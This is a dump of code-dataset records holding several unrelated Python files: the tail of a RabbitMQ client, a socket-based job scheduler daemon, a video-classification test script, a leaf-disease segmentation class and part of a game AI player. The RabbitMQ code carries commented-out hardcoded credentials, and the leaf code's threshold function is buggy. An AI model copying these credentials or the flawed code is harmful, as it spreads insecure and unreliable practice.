的接收管道失败!\\n错误信息如下:')\n print(err)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n try:\n globals()[r_channel].exchange_declare(exchange=exc, exchange_type=exc_type, durable=able) # 连接交换机\n except Exception as err:\n print('exchange=%s,exchange_type=%s,durable=%s' % {exc, exc_type, able})\n print('交换机连接失败!可能是网络原因或配置信息错误.错误信息如下:')\n print(err)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n try:\n globals()[r_channel].queue_bind(exchange=exc, queue=domain + '.up')\n except Exception as err:\n print('queue绑定失败!可能是网络原因或配置信息错误.错误信息如下:')\n print(err)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n try:\n if len(self.__thread_time.keys()) > 0:\n limit_time = 5\n for msg in globals()[r_channel].consume(domain + '.up', inactivity_timeout=0.0001,\n auto_ack=True): # 从Rabbitmq接收消息\n if not msg:\n if domain in self.__thread_time.keys():\n if time.time() - self.__thread_time[domain] > limit_time:\n try:\n globals()['self.__r_' + str(domain) + 'rabbitmq'].close()\n except Exception as err:\n print('Domain值为: ' + str(domain) + ' 的Rabbitmq信息接收管道关闭失败!\\n错误信息如下:')\n print(err)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n else:\n del self.__domain[self.__domain.index(domain)]\n del self.__thread_time[domain]\n print('Domain值为: ' + str(domain) + ' 的Rabbitmq信息接收管道关闭成功!')\n break\n else:\n continue\n else:\n break\n else:\n method, propertites, body = msg\n if body:\n with open(self.__logs_path + '/Logs/' + str(self.__version) + '/rabbitmq.logs', 'a',\n encoding='utf-8') as f:\n msg = 'Domain: ' + str(domain) + ' Receive: ' + str(json.loads(body)) + '\\n\\n'\n f.write(msg)\n if domain in self.__thread_time.keys():\n if time.time() - self.__thread_time[domain] > limit_time:\n try:\n globals()['self.__r_' + str(domain) + 'rabbitmq'].close()\n except Exception as err:\n print('Domain值为: ' + str(domain) + ' 的Rabbitmq信息接收管道关闭失败!\\n错误信息如下:')\n print(err)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n else:\n del self.__domain[self.__domain.index(domain)]\n del self.__thread_time[domain]\n print('Domain值为: ' + str(domain) + ' 的Rabbitmq信息接收管道关闭成功!')\n break\n else:\n continue\n else:\n break\n\n '''下面是线程阻断的接收方式'''\n # def callback(ch, method, properties, body):\n #\tprint('收到数据：', json.loads(body))\n # globals()[r_channel].basic_consume(domain+'.up',callback,auto_ack=True)\n # globals()[r_channel].start_consuming()\n except Exception as err:\n print('rabbitmq信息接收失败!错误信息如下: ')\n print(err)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n\n# if __name__ == '__main__':\n\n# app=rabbitmq('10.10.88.4','admin','1qazxsw2#')\n# app=rabbitmq('10.10.88.175','Admin','admin')\n# app.connect()\n# app.send('FlowExchange1','ReportFlow','10.10.88.175')\n# app.close()\n", "sub_path": "common/rabbitmq.py", "file_name": "rabbitmq.py", "file_ext": "py", "file_size_in_byte": 24515, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.exit", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 18, "usage_type": "call"}, {"api_name": "ssl.CERT_REQUIRED", "line_number": 22, "usage_type": "attribute"}, {"api_name": "ssl.PROTOCOL_TLSv1_2", "line_number": 23, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 71, "usage_type": "call"}, {"api_name": "sys.path.insert", "line_number": 74, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 74, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 80, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "baseinfo.version", "line_number": 84, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 94, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 98, "usage_type": "call"}, {"api_name": "ssl.create_default_context", "line_number": 101, "usage_type": "call"}, {"api_name": "ssl._create_unverified_context", "line_number": 102, "usage_type": "call"}, {"api_name": "pika.SSLOptions", "line_number": 104, "usage_type": "call"}, {"api_name": "pika.ConnectionParameters", "line_number": 105, "usage_type": "call"}, {"api_name": "pika.PlainCredentials", "line_number": 106, "usage_type": "call"}, {"api_name": "pika.ConnectionParameters", "line_number": 110, "usage_type": "call"}, {"api_name": "pika.PlainCredentials", "line_number": 111, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 117, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 172, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 179, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 206, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 210, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 213, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 242, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 245, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 281, "usage_type": "call"}, {"api_name": "pika.BlockingConnection", "line_number": 285, "usage_type": "call"}, {"api_name": "pika.adapters", "line_number": 287, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 294, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 303, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 309, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 311, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 311, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 312, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 317, "usage_type": "call"}, {"api_name": "time.time", "line_number": 320, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 326, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 332, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 342, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 345, "usage_type": "call"}, {"api_name": "pika.BlockingConnection", "line_number": 358, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 363, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 370, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 376, "usage_type": "call"}, {"api_name": "time.time", "line_number": 384, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 390, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 405, "usage_type": "call"}, {"api_name": "time.time", "line_number": 408, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 414, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 433, "usage_type": "call"}]} {"seq_id": "462545390", "text": "import sys\nfrom daemon import Daemon\nimport logging\nimport logging.handlers\nimport config_info as config\n\nimport socket\n\nfrom datetime import date\nfrom dateutil.relativedelta import relativedelta\nfrom apscheduler.schedulers.blocking import BlockingScheduler\n\n\n# Server infomation for Socket\nHOST = config.cfg['host']\nPORT = int(config.cfg['port'])\n#HOST = 'm2u-da.eastus.cloudapp.azure.com'\n\n#######################################################\ndef job_cron_day():\n\tlogger.info(\"===== Start data analysis for one day =====\")\n\n\ttoday = date.today()\n\tminusDay = relativedelta(days=121)\n\tstartDate = today - minusDay\n\tendDate = startDate\n\n\tsendDate = '{\"start_date\":\"'+ startDate.strftime('%Y-%m-%d') + '\", \"end_date\":\"' + endDate.strftime('%Y-%m-%d') + '\", \"time_interval\":15}'\n\tsendDate = sendDate.encode()\n\n\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #소켓생성\n\ts.connect((HOST,PORT))\n\ts.send(sendDate) \n#\ts.send(b'{\"start_date\": \"2017-02-03\", \"end_date\": \"2017-02-03\", \"time_interval\": 15}') #문자를 보냄\n\tdata = s.recv(2048) #서버로 부터 정보를 받음\n\ts.close()\n\tprint('Received',repr(data))\n\n\ndef job_cron_week():\n\tlogger.info(\"===== Start data analysis for one week =====\")\n\t\n\ttoday = date.today()\n\tminusDay = relativedelta(days=123)\n\toneWeek = relativedelta(days=6)\n\tendDate = today - minusDay\n\tstartDate = endDate - oneWeek\n\n\tsendDate = '{\"start_date\":\"'+ startDate.strftime('%Y-%m-%d') + '\", \"end_date\":\"' + endDate.strftime('%Y-%m-%d') + '\", \"time_interval\":60}'\n\tsendDate = sendDate.encode()\n\n\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #소켓생성\n\ts.connect((HOST,PORT))\n\ts.send(sendDate) \n\t#s.send(b'{\"start_date\": \"2017-02-07\", \"end_date\": \"2017-02-07\", \"time_interval\": 60}') #문자를 보냄\n\tdata = s.recv(2048) #서버로 부터 정보를 받음\n\ts.close()\n\tprint('Received',repr(data))\n\n\ndef job_cron_month():\n\tlogger.info(\"===== Start data analysis for one month =====\")\n\n\ttoday = date.today()\n\tpremonth = today - relativedelta(months=5)\n\tstartDate = date(premonth.year, premonth.month, 1)\n\tendDate = date(today.year, today.month, 1) - relativedelta(months=4) - relativedelta(days=1)\n\tsendDate = '{\"start_date\":\"'+ startDate.strftime('%Y-%m-%d') + '\", \"end_date\":\"' + endDate.strftime('%Y-%m-%d') + '\", \"time_interval\":60}'\n\tsendDate = sendDate.encode()\n\n\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #소켓생성\n\ts.connect((HOST,PORT))\n\ts.send(sendDate) \n\t#s.send(b'{\"start_date\": \"2017-02-07\", \"end_date\": \"2017-02-07\", \"time_interval\": 60}') #문자를 보냄\n\tdata = s.recv(2048) #서버로 부터 정보를 받음\n\ts.close()\n\tprint('Received',repr(data))\n\n\nclass Start_scheduler(object):\n\n\tdef run(self):\n\t\tlogger.info(\"ELDA Scheduler start...\")\n\t\twhile True:\n\t\t\tsched = BlockingScheduler()\n\n\t\t\tsched.add_job(job_cron_day, 'cron', max_instances=10, hour=0)\n\t\t\tsched.add_job(job_cron_week, 'cron', max_instances=10, day_of_week='mon', hour=0)\n\t\t\tsched.add_job(job_cron_month, 'cron', max_instances=10, day=1, hour=1)\n\t\t\tsched.start()\n\n\nclass SchedulerDaemon(Daemon):\n\tdef run(self):\n\t\tstartdaemon = Start_scheduler()\n\t\tstartdaemon.run()\n\t\t\n\n\nif __name__ == '__main__':\n\t# make logger instance\n\tlogger = logging.getLogger(\"Scheduler_Log\")\n\tlogger.setLevel(logging.INFO)\n\n\t# make formatter\n\tformatter = logging.Formatter('[%(levelname)s|%(filename)s:%(lineno)s] %(asctime)s > %(message)s')\n\n\t# make handler to output Log for stream and file\n\tfileMaxByte = 1024 * 1024 * 100 #100MB\n\tfileHandler = logging.handlers.RotatingFileHandler(config.cfg['apscheduler_path'], maxBytes=fileMaxByte, backupCount=10)\n\t# specify formatter to each handler\n\tfileHandler.setFormatter(formatter)\n\t# attach stream and file handler to logger instance\n\tlogger.addHandler(fileHandler)\n\n\tdaemon = SchedulerDaemon(config.cfg['schePID_path'])\n\n\tif len(sys.argv) == 2:\n\t\tif 'start' == sys.argv[1]:\n\t\t\tdaemon.start()\n\t\telif 'stop' == sys.argv[1]:\n\t\t\tdaemon.stop()\n\t\telif 'restart' == sys.argv[1]:\n\t\t\tdaemon.restart()\n\t\telse:\n\t\t\tprint(\"unknown command\")\n\t\t\tsys.exit(2)\n\t\tsys.exit(0)\n\telse:\n\t\tprint(\"usage: %s start|stop|restart\" % sys.argv[0])\n\t\tsys.exit(2)\n\t#######################################################", "sub_path": "ELDA/elda_apscheduler.py", "file_name": "elda_apscheduler.py", "file_ext": "py", "file_size_in_byte": 4163, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "config_info.cfg", "line_number": 15, "usage_type": "attribute"}, {"api_name": "config_info.cfg", "line_number": 16, "usage_type": "attribute"}, {"api_name": "datetime.date.today", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 23, "usage_type": "name"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 24, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 31, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 31, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 31, "usage_type": "attribute"}, {"api_name": "datetime.date.today", "line_number": 43, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 43, "usage_type": "name"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 44, "usage_type": "call"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 45, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 52, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 52, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 52, "usage_type": "attribute"}, {"api_name": "datetime.date.today", "line_number": 64, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 64, "usage_type": "name"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 65, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 66, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 67, "usage_type": "call"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 67, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 71, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 71, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 71, "usage_type": "attribute"}, {"api_name": "apscheduler.schedulers.blocking.BlockingScheduler", "line_number": 85, "usage_type": "call"}, {"api_name": "daemon.Daemon", "line_number": 93, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 102, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 103, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 106, "usage_type": "call"}, {"api_name": "logging.handlers.RotatingFileHandler", "line_number": 110, "usage_type": "call"}, {"api_name": "logging.handlers", "line_number": 110, "usage_type": "attribute"}, {"api_name": "config_info.cfg", "line_number": 110, "usage_type": "attribute"}, {"api_name": "config_info.cfg", "line_number": 116, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 118, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 119, "usage_type": "attribute"}, {"api_name": "daemon.start", "line_number": 120, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 121, "usage_type": "attribute"}, {"api_name": "daemon.stop", "line_number": 122, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 123, "usage_type": "attribute"}, {"api_name": "daemon.restart", "line_number": 124, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 127, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 128, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 130, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 131, "usage_type": "call"}]} {"seq_id": "532863170", "text": "from dataset.dataset import *\nfrom torch.utils.data import Dataset, DataLoader\nimport getpass\nimport os\nimport socket\nimport numpy as np\nfrom dataset.preprocess_data import *\nfrom PIL import Image, ImageFilter\nimport argparse\nimport torch\nfrom torch import nn\nfrom torch import optim\nfrom torch.optim import lr_scheduler\nfrom models.model import generate_model\nfrom opts import parse_opts\nfrom torch.autograd import Variable\nimport time\nimport torch.utils\nimport sys\nfrom utils import *\n \n\nif __name__==\"__main__\":\n # print configuration options\n opts = parse_opts()\n print(opts)\n if torch.cuda.is_available():\n opts.cuda = True\n opts.arch = '{}-{}'.format(opts.model, opts.model_depth)\n\n print(\"Preprocessing testing data ...\")\n test_data = globals()['{}'.format(opts.dataset)](split = opts.split, train = 0, opt = opts)\n print(\"Length of testing data = \", len(test_data))\n \n if opts.modality=='RGB': opts.input_channels = 3\n elif opts.modality=='Flow': opts.input_channels = 2\n\n print(\"Preparing datatloaders ...\")\n test_dataloader = DataLoader(test_data, batch_size=opts.batch_size, shuffle=False, num_workers=opts.n_workers, pin_memory=True, drop_last=False)\n print(\"Length of validation datatloader = \",len(test_dataloader))\n \n # Loading model and checkpoint\n model, parameters = generate_model(opts)\n criterion_rl = nn.CrossEntropyLoss(reduction='none').cuda() \n accuracies = AverageMeter()\n clip_accuracies = AverageMeter()\n \n #Path to store results\n result_path = \"{}/{}/\".format(opts.result_path, opts.dataset)\n if not os.path.exists(result_path):\n os.makedirs(result_path) \n\n if opts.log:\n f = open(os.path.join(result_path, \"test_{}{}_{}_{}_{}_{}_online_{}.txt\".format(opts.model, opts.model_depth, opts.dataset, opts.split, opts.modality, opts.sample_duration, opts.test_file)), 'w+')\n f.write(str(opts))\n f.write('\\n')\n f.flush()\n if opts.resume_path1:\n print('loading checkpoint {}'.format(opts.resume_path1))\n checkpoint = torch.load(opts.resume_path1)\n assert opts.arch == checkpoint['arch']\n model.load_state_dict(checkpoint['state_dict'])\n \n model.eval()\n with torch.no_grad(): \n for i, (clip, targets) in enumerate(test_dataloader):\n clip = torch.squeeze(clip)\n if opts.cuda:\n targets = targets.cuda(non_blocking=True)\n if opts.modality == 'RGB':\n inputs = torch.Tensor(int(clip.shape[1]/opts.sample_duration)+1, 3, opts.sample_duration, opts.sample_size, opts.sample_size)\n elif opts.modality == 'Flow':\n inputs = torch.Tensor(int(clip.shape[1]/opts.sample_duration)+1, 2, opts.sample_duration, opts.sample_size, opts.sample_size)\n\n for k in range(inputs.shape[0]-1):\n inputs[k, :, :, :, :] = clip[:,k*opts.sample_duration:(k+1)*opts.sample_duration,:,:]\n \n inputs[-1, :, :, :, :] = clip[:, -opts.sample_duration:, :, :]\n \n if opts.cuda:\n inputs = inputs.cuda()\n\n outputs_var = model(inputs)\n\n pred = np.array(torch.mean(outputs_var, dim=0, keepdim=True).topk(1)[1].cpu().data[0])\n\n acc = float(pred[0] == targets[0])\n \n accuracies.update(acc, 1) \n \n line = \"Video[\" + str(i) + \"] : \" + \"\\t top1 = \" + str(pred[0]) + \"\\t true = \" +str(int(targets[0])) + \"\\t video = \" + str(accuracies.avg)\n print(line)\n if opts.log:\n f.write(line + '\\n')\n f.flush()\n \n print(\"Video accuracy = \", accuracies.avg)\n line = \"Video accuracy = \" + str(accuracies.avg) + '\\n'\n if opts.log:\n f.write(line)\n \n", "sub_path": "test_plus_mice_online.py", "file_name": "test_plus_mice_online.py", "file_ext": "py", "file_size_in_byte": 3835, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "opts.parse_opts", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 27, "usage_type": "attribute"}, {"api_name": "opts.cuda", "line_number": 28, "usage_type": "attribute"}, {"api_name": "opts.arch", "line_number": 29, "usage_type": "attribute"}, {"api_name": "opts.model", "line_number": 29, "usage_type": "attribute"}, {"api_name": "opts.model_depth", "line_number": 29, "usage_type": "attribute"}, {"api_name": "opts.dataset", "line_number": 32, "usage_type": "attribute"}, {"api_name": "opts.split", "line_number": 32, "usage_type": "attribute"}, {"api_name": "opts.modality", "line_number": 35, "usage_type": "attribute"}, {"api_name": "opts.input_channels", "line_number": 35, "usage_type": "attribute"}, {"api_name": "opts.modality", "line_number": 36, "usage_type": "attribute"}, {"api_name": "opts.input_channels", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 39, "usage_type": "call"}, {"api_name": "opts.batch_size", "line_number": 39, "usage_type": "attribute"}, {"api_name": "opts.n_workers", "line_number": 39, "usage_type": "attribute"}, {"api_name": "models.model.generate_model", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "name"}, {"api_name": "opts.result_path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "opts.dataset", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 51, "usage_type": "call"}, {"api_name": "opts.log", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "opts.model", "line_number": 54, "usage_type": "attribute"}, {"api_name": "opts.model_depth", "line_number": 54, "usage_type": "attribute"}, {"api_name": "opts.dataset", "line_number": 54, "usage_type": "attribute"}, {"api_name": "opts.split", "line_number": 54, "usage_type": "attribute"}, {"api_name": "opts.modality", "line_number": 54, "usage_type": "attribute"}, {"api_name": "opts.sample_duration", "line_number": 54, "usage_type": "attribute"}, {"api_name": "opts.test_file", "line_number": 54, "usage_type": "attribute"}, {"api_name": "opts.resume_path1", "line_number": 58, "usage_type": "attribute"}, {"api_name": "opts.resume_path1", "line_number": 59, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 60, "usage_type": "call"}, {"api_name": "opts.resume_path1", "line_number": 60, "usage_type": "attribute"}, {"api_name": "opts.arch", "line_number": 61, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 67, "usage_type": "call"}, {"api_name": "opts.cuda", "line_number": 68, "usage_type": "attribute"}, {"api_name": "opts.modality", "line_number": 70, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 71, "usage_type": "call"}, {"api_name": "opts.sample_duration", "line_number": 71, "usage_type": "attribute"}, {"api_name": "opts.sample_size", "line_number": 71, "usage_type": "attribute"}, {"api_name": "opts.modality", "line_number": 72, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 73, "usage_type": "call"}, {"api_name": "opts.sample_duration", "line_number": 73, "usage_type": "attribute"}, {"api_name": "opts.sample_size", "line_number": 73, "usage_type": "attribute"}, {"api_name": "opts.sample_duration", "line_number": 76, "usage_type": "attribute"}, {"api_name": "opts.sample_duration", "line_number": 78, "usage_type": "attribute"}, {"api_name": "opts.cuda", "line_number": 80, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 85, "usage_type": "call"}, {"api_name": "opts.log", "line_number": 93, "usage_type": "attribute"}, {"api_name": "opts.log", "line_number": 99, "usage_type": "attribute"}]} {"seq_id": "153430758", "text": "import cv2 as cv\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\nclass YCBCR:\n def __init__(self, *filename, **image):\n image_path = image[\"image\"]\n bgr_image = cv.imread(image_path)\n self.remove_background(bgr_image)\n\n def remove_background(self, leaf_image):\n\n # Gaussian blur image to remove noise\n blured = cv.GaussianBlur(leaf_image, (1, 1), 0)\n\n # Convert blured Image from BGR to HSV\n hsv_leaf = cv.cvtColor(blured, cv.COLOR_BGR2HSV)\n\n SV_channel = hsv_leaf.copy()\n\n SV_channel[:, :, 0] = np.zeros(\n (SV_channel.shape[0], SV_channel.shape[1])) # Set the 'H' channel to Zero\n\n SV_channel[:, :, 2] = np.zeros(\n (SV_channel.shape[0], SV_channel.shape[1]))\n # Create a binary mask from the SV Channel\n\n mask = cv.inRange(SV_channel, (0, 0, 0), (0, 85, 0))\n # Invert mask, White areas represent green components and black the background\n mask = cv.bitwise_not(mask)\n\n # perform bitwise_and between mask and hsv image\n background_extracted = cv.bitwise_and(hsv_leaf, hsv_leaf, mask=mask)\n\n self.segment_diseased_spots(background_extracted)\n\n def segment_diseased_spots(self, bg_extracted_hsv):\n bg_extracted_rgb = cv.cvtColor(bg_extracted_hsv, cv.COLOR_HSV2RGB)\n\n r = bg_extracted_rgb[:, :, 0]\n g = bg_extracted_rgb[:, :, 1]\n b = bg_extracted_rgb[:, :, 2]\n\n cr = 128 + (112 * r - 93.786 * g - 18.214 * b) / 256\n\n # find the cg component\n\n cg = 128 + (-81.085 * r + 112 * g - 30.915 * b) / 256\n # print(cg.shape)\n\n diff = cr - cg\n\n g1, g2 = self.find_threshold(diff)\n\n print(f'g1:\\n{g1}')\n print(f'g2:\\n{g2}')\n\n fig, axs = plt.subplots(1, 2)\n axs[0].imshow(bg_extracted_rgb)\n plt.show()\n\n def find_threshold(self, diff, T=0, count=0):\n T_init = T\n c = count\n diff_matrix = diff\n g1 = diff_matrix <= T\n\n g2 = diff_matrix > T\n\n m1 = np.mean(g1)\n m2 = np.mean(g2)\n\n thresh = (m1 + m2) / 2\n deltaT = thresh - T_init\n c = c + 1\n\n if c == 600 or deltaT < 0.0001:\n return\n self.find_threshold(diff_matrix, T=thresh, count=c)\n return g1, g2\n", "sub_path": "src/Final Project/ycgcr.py", "file_name": "ycgcr.py", "file_ext": "py", "file_size_in_byte": 2299, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cv2.imread", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.GaussianBlur", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.bitwise_not", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.COLOR_HSV2RGB", "line_number": 39, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 72, "usage_type": "call"}]} {"seq_id": "320759132", "text": "import arcade\nimport math\nimport random\nfrom util.constants import * \n\nclass MidRangePlayer(arcade.Sprite):\n def equipshield(self):\n self.set_texture(1)\n self.health += PLAYER_HEALTH*.5\n self.shield +=1\n def throwfire(self):\n fireball = Fireball(\"images/fire.png\", .1)\n fireball.center_x = self.center_x\n fireball.center_y = self.center_y\n fireball.start_x = self.center_x # for tracking \n fireball.start_y = self.center_y # fireball distance\n fireball.angle = self.angle-90\n fireball.change_x = -ARROW_SPEED*math.sin(math.radians(self.angle))\n fireball.change_y = ARROW_SPEED*math.cos(math.radians(self.angle))\n \n self.fireball_list.append(fireball)\n\n hit = HitBox(\"images/fire.png\")\n hit._set_alpha(0)\n hit._set_height(math.sqrt(SCREEN_WIDTH**2 + SCREEN_HEIGHT**2))\n hit._set_width(ARROW_IMAGE_HEIGHT)\n hit.angle = self.angle\n hit.center_x = self.center_x + -math.sin(math.radians(hit.angle)) * hit.height/2\n hit.center_y = self.center_y + math.cos(math.radians(hit.angle)) * hit.height/2\n \n fireball.hit = hit\n self.hitbox_list.append(hit)\n\n def update(self):\n self.curtime += 1\n x_diff = self.opponent.center_x - self.center_x\n y_diff = self.opponent.center_y - self.center_y\n self.angle = math.degrees(math.atan2(y_diff,x_diff))-90\n self.d = math.sqrt(x_diff**2 +y_diff**2)\n if len(self.opponent_hitbox_list) > 0:\n if arcade.check_for_collision_with_list(self,self.opponent_hitbox_list) and self.health <PLAYER_HEALTH*.7:\n randmove_x = random.choices([1,-1])[0]\n randmove_y = random.choices([1,-1])[0]\n self.center_x += (MOVEMENT_SPEED * MID_SPEED_HANDICAP) * randmove_x\n self.center_y += (MOVEMENT_SPEED * MID_SPEED_HANDICAP) * randmove_y\n elif abs(y_diff) + abs(x_diff) != 0: \n self.change_x = (x_diff)/(abs(y_diff) + abs(x_diff))\n self.change_y = (y_diff)/(abs(y_diff) + abs(x_diff))\n if self.d > 240:\n self.center_x += self.change_x * (MOVEMENT_SPEED * MID_SPEED_HANDICAP)\n self.center_y += self.change_y * (MOVEMENT_SPEED * MID_SPEED_HANDICAP)\n else:\n if abs(self.center_x - 0) > 5 and abs(SCREEN_WIDTH - self.center_x) > 5:\n self.center_x += -self.change_x * (MOVEMENT_SPEED * MID_SPEED_HANDICAP)\n else:\n if self.center_y > SCREEN_HEIGHT/2:\n self.center_y += (MOVEMENT_SPEED * MID_SPEED_HANDICAP)\n else:\n self.center_y += -(MOVEMENT_SPEED * MID_SPEED_HANDICAP)\n\n if abs(self.center_y - 0) > 5 and abs(SCREEN_HEIGHT - self.center_y) > 5:\n self.center_y += -self.change_y * (MOVEMENT_SPEED * MID_SPEED_HANDICAP)\n else:\n if self.center_x > SCREEN_WIDTH/2:\n self.center_x += (MOVEMENT_SPEED * MID_SPEED_HANDICAP)\n else:\n self.center_x += -(MOVEMENT_SPEED * MID_SPEED_HANDICAP)\n else:\n if abs(y_diff) + abs(x_diff) != 0: \n self.change_x = (x_diff)/(abs(y_diff) + abs(x_diff))\n self.change_y = 